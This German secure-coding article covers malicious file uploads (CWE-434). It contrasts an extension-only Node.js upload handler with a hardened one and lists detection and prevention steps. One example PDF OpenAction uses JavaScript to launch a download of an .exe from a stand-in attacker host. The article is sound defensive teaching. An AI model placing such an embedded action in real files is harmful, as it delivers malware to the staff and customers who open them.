Zum Inhalt springen

Hochladen schädlicher Dateien möglich

CWE-434CWE-646OWASP A04:2021Aktualisiert 4. September 20264 Min. Lesezeit

Eine Upload-Funktion, über die Dateien geteilt oder später von Mitarbeitern geöffnet werden, lässt sich zur Verbreitung von Schadsoftware nutzen. Der Server selbst trägt kein Risiko, doch Ihre Plattform wird zum Transportmittel, und Ihr Domainname liefert die Glaubwürdigkeit. Eine PDF-Datei mit eingebetteter Aktion ist dabei das gebräuchlichste Vehikel.

Bei einer Upload-Funktion richtet sich die Aufmerksamkeit meist auf die Frage, ob sich etwas auf dem Server ausführen lässt. Es gibt ein zweites Risiko, das mit Ihrer Infrastruktur nichts zu tun hat: Ihre Plattform kann zur Verbreitung schädlicher Dateien genutzt werden, wobei Ihr Domainname die Rolle des vertrauenswürdigen Absenders übernimmt. Dieser Artikel behandelt, wie das abläuft und was Sie dagegen tun.

Welches Risiko bergen hochgeladene Dateien?

Von dem Hochladen schädlicher Dateien spricht man, wenn eine Anwendung Dateien annimmt, die später von Menschen geöffnet werden, ohne dass deren Inhalt beurteilt wird. Der Server selbst führt nichts aus; die Datei wird ordentlich gespeichert und ordentlich zurückgeliefert. Das Risiko liegt beim Empfänger.

Das unterscheidet diesen Befund wesentlich von einem unbeschränkten Datei-Upload, der zur Codeausführung führt. Dort ist Ihr Server das Ziel. Hier ist Ihre Anwendung das Transportmittel, und der Schaden trifft Ihre Mitarbeiter, Ihre Kunden oder Dritte.

Der Unterschied gleicht dem eines Postunternehmens. Das eine Risiko besteht darin, dass im Sortierzentrum etwas explodiert; das andere darin, dass das Paket ordnungsgemäß zugestellt wird und sich erst beim Empfänger öffnet. Im zweiten Fall stimmt an Ihrem Ablauf alles, außer dass Sie nicht nachgesehen haben, was Sie befördert haben.

Wie verbreitet sich eine solche Infektion?

Verwundbar:

// Nur die Endung wird geprüft, der Inhalt nicht
const ERLAUBT = ['.pdf', '.docx', '.xlsx'];

app.post('/antrag/anhang', upload.single('datei'), async (req, res) => {
  const endung = path.extname(req.file.originalname).toLowerCase();
  if (!ERLAUBT.includes(endung)) return res.status(400).send('Typ nicht erlaubt');

  await anhaenge.speichere({
    name: req.file.originalname,
    pfad: req.file.path,
    antrag: req.body.antragId,
  });
  res.send('Anhang hinzugefügt');
});

Die Endung stimmt, und die Datei ist tatsächlich eine PDF-Datei. Nur enthält diese PDF-Datei eine eingebettete Aktion:

/OpenAction << /S /JavaScript /JS (
   app.launchURL("https://boesartig.example/rechnung-2026.exe", true);
) >>

Dies ist eine gültige PDF-Datei, die jede Prüfung auf Endung und auf den tatsächlichen Dateityp besteht. Öffnet ein Mitarbeiter später den Anhang, um den Antrag zu bearbeiten, versucht das Programm, die Aktion auszuführen. Je nach Programm und Einstellungen erscheint eine Warnung, doch es geht um einen Anhang aus Ihrem eigenen System, an einem Antrag, den der Mitarbeiter selbst bearbeitet. Das ist eine deutlich günstigere Ausgangslage als ein Anhang an einer E-Mail eines Unbekannten.

Sicher:

app.post('/antrag/anhang', upload.single('datei'), async (req, res) => {
  const typ = await bestimmeTypAusInhalt(req.file.path);
  if (!['application/pdf'].includes(typ?.mime)) {
    await fs.promises.unlink(req.file.path);
    return res.status(400).send('Nur PDF-Dateien');
  }

  const pruefung = await virenscanner.pruefe(req.file.path);
  if (!pruefung.sauber) {
    await fs.promises.unlink(req.file.path);
    await meldungen.sende('verdächtiger Upload', { nutzer: req.nutzer.id });
    return res.status(400).send('Datei abgewiesen');
  }

  // Neu erzeugen: eingebettete Aktionen und Skripte überleben das nicht
  const name = `${randomUUID()}.pdf`;
  await pdfBereinigen(req.file.path, `/var/ablage/${name}`);
  await fs.promises.unlink(req.file.path);

  await anhaenge.speichere({
    id: name,
    anzeigename: sauberName(req.file.originalname),
    antrag: req.body.antragId,
    hochgeladenVon: req.nutzer.id,
  });
  res.json({ ok: true });
});

Drei Schichten ergänzen einander. Der Typ wird aus dem Inhalt statt aus dem Namen bestimmt. Es wird auf bekannte schädliche Inhalte geprüft. Und die Datei wird neu erzeugt, wodurch eingebettete Aktionen und Skripte verschwinden, unabhängig davon, ob der Scanner sie erkannt hat, und das ist die Maßnahme, die auch gegen unbekannte Varianten wirkt.

Zeigen Sie den vom Nutzer angegebenen Dateinamen nicht unverändert in der Oberfläche an. Namen mit vielen Leerzeichen oder mit Zeichen, die die Leserichtung umkehren, können die tatsächliche Endung verbergen, sodass rechnung.exe in einer Übersicht wie eine PDF-Datei aussieht. Zeigen Sie einen bereinigten Namen und speichern Sie die Datei unter einer selbst erzeugten Kennung.

Welche Auswirkungen hat das Hochladen schädlicher Dateien?

Der Schweregrad reicht von mittel bis hoch, abhängig davon, wer die Dateien öffnet und mit welchen Rechten. Der Schaden fällt außerhalb Ihrer Anwendung an, was den Befund nicht leichter macht, aber schwerer erkennbar.

Der wahrscheinlichste Weg trifft Ihre eigene Organisation. Uploads werden von Mitarbeitern beurteilt: ein Antrag mit Anhang, eine Bewerbung mit Lebenslauf, eine Schadenmeldung mit Fotos. Diese Mitarbeiter öffnen täglich Dutzende solcher Dateien und betrachten sie als Teil ihrer Arbeit. Gelingt dort eine Datei, sitzt der Angreifer auf einem Arbeitsplatz innerhalb Ihres Netzes, mit den Rechten einer Person, die Zugriff auf Ihre Kundensysteme hat.

Der zweite Weg trifft Dritte. Dateien, die andere abrufen können, machen Ihre Plattform zu einem Verbreitungskanal, mit Ihrem Domainnamen und Ihrem Zertifikat als Beleg der Vertrauenswürdigkeit. Das ist ein Reputationsrisiko und kann dazu führen, dass Ihre Domain bei Sicherheitsanbietern als schädlich eingestuft wird, mit Folgen für Ihren legitimen Verkehr.

Wie spürt man das Hochladen schädlicher Dateien auf?

Ein Tester stellt zunächst fest, worauf die Annahme beruht: auf der Endung, auf dem angegebenen Inhaltstyp oder auf dem tatsächlichen Inhalt. Das wird bestimmt, indem eine Datei angeboten wird, bei der diese drei nicht übereinstimmen.

Anschließend wird geprüft, ob der Inhalt beurteilt wird. Dafür wird eine unschädliche Testdatei verwendet, die jeder Scanner erkennt; kommt sie ungehindert durch, wird nicht gescannt. Ebenso wird geprüft, ob Dateien neu erzeugt werden, denn eine PDF-Datei, in der nach dem Upload noch eine eingebettete Aktion steckt, zeigt, dass das Original erhalten bleibt. Ferner wird betrachtet, wie der Dateiname dargestellt wird, ob eine Grenze für die Dateigröße besteht und ob die Dateien von derselben Domain ausgeliefert werden. AssistSec beurteilt den gesamten Ablauf einschließlich der Frage, wer die Dateien letztlich öffnet, denn dort entscheidet sich, wie schwer dieser Befund wiegt.

Wie verhindert man das Hochladen schädlicher Dateien?

  • Bestimmen Sie den Dateityp aus dem tatsächlichen Inhalt und nicht aus der Endung oder dem angegebenen Typ.
  • Prüfen Sie Uploads mit einem Virenscanner, als ergänzende Schicht und nicht als einzige Maßnahme.
  • Erzeugen Sie Dateien nach Möglichkeit neu: Bilder verkleinern und PDF-Dateien bereinigen.
  • Speichern Sie Dateien unter einem selbst erzeugten Namen und zeigen Sie einen bereinigten Anzeigenamen.
  • Liefern Sie Dateien mit Content-Disposition: attachment und von einer eigenen Domain aus.
  • Begrenzen Sie die Dateigröße und die Zahl der Uploads je Nutzer.
  • Halten Sie fest, wer welche Datei hochgeladen hat, damit Missbrauch nachvollziehbar ist.
  • Weisen Sie Mitarbeiter darauf hin, dass Anhänge aus Ihrem eigenen System nicht automatisch vertrauenswürdig sind.
  • Öffnen Sie Uploads bevorzugt in einer abgeschirmten Ansicht statt in einer lokalen Anwendung.

Quellen

Häufige Fragen

Ist das mein Problem, wenn die Datei anderswo geöffnet wird?

Ja. Sie liefern die Datei aus, und Ihr Domainname verleiht ihr die Glaubwürdigkeit, die den Angriff wirksam macht. Zudem trifft es häufig Ihre eigenen Mitarbeiter, die Uploads im Rahmen ihrer Arbeit beurteilen und dabei weniger Misstrauen aufbringen als bei einem Anhang von außen.

Warum eignen sich PDF-Dateien so gut?

Weil sie als sicher gelten und überall geöffnet werden. Das Format unterstützt eingebettetes JavaScript, automatisch startende Aktionen und Links, und viele Programme setzen diese um. Eine PDF-Datei weckt kein Misstrauen, und genau das sucht ein Angreifer.

Genügt ein Virenscanner?

Nein, aber er gehört dazu. Ein Scanner erkennt bekannte Varianten und übersieht gezielte oder neue Dateien. Verbinden Sie ihn mit dem Neuerzeugen von Dateien, mit Beschränkungen dessen, was hochgeladen werden darf, und mit einem eigenen Ablageort.

Was bedeutet das Neuerzeugen einer Datei?

Dass Sie den Inhalt auslesen und daraus eine neue Datei erstellen, statt das Original zu behalten. Bei einem Bild liefert das Verkleinern eine saubere Datei; bei einer PDF-Datei kann eine Umwandlung die eingebetteten Aktionen entfernen. Was auch immer darin steckte, es überlebt diesen Schritt nicht.

Verwandte Artikel

Zum Suchen / drücken · Esc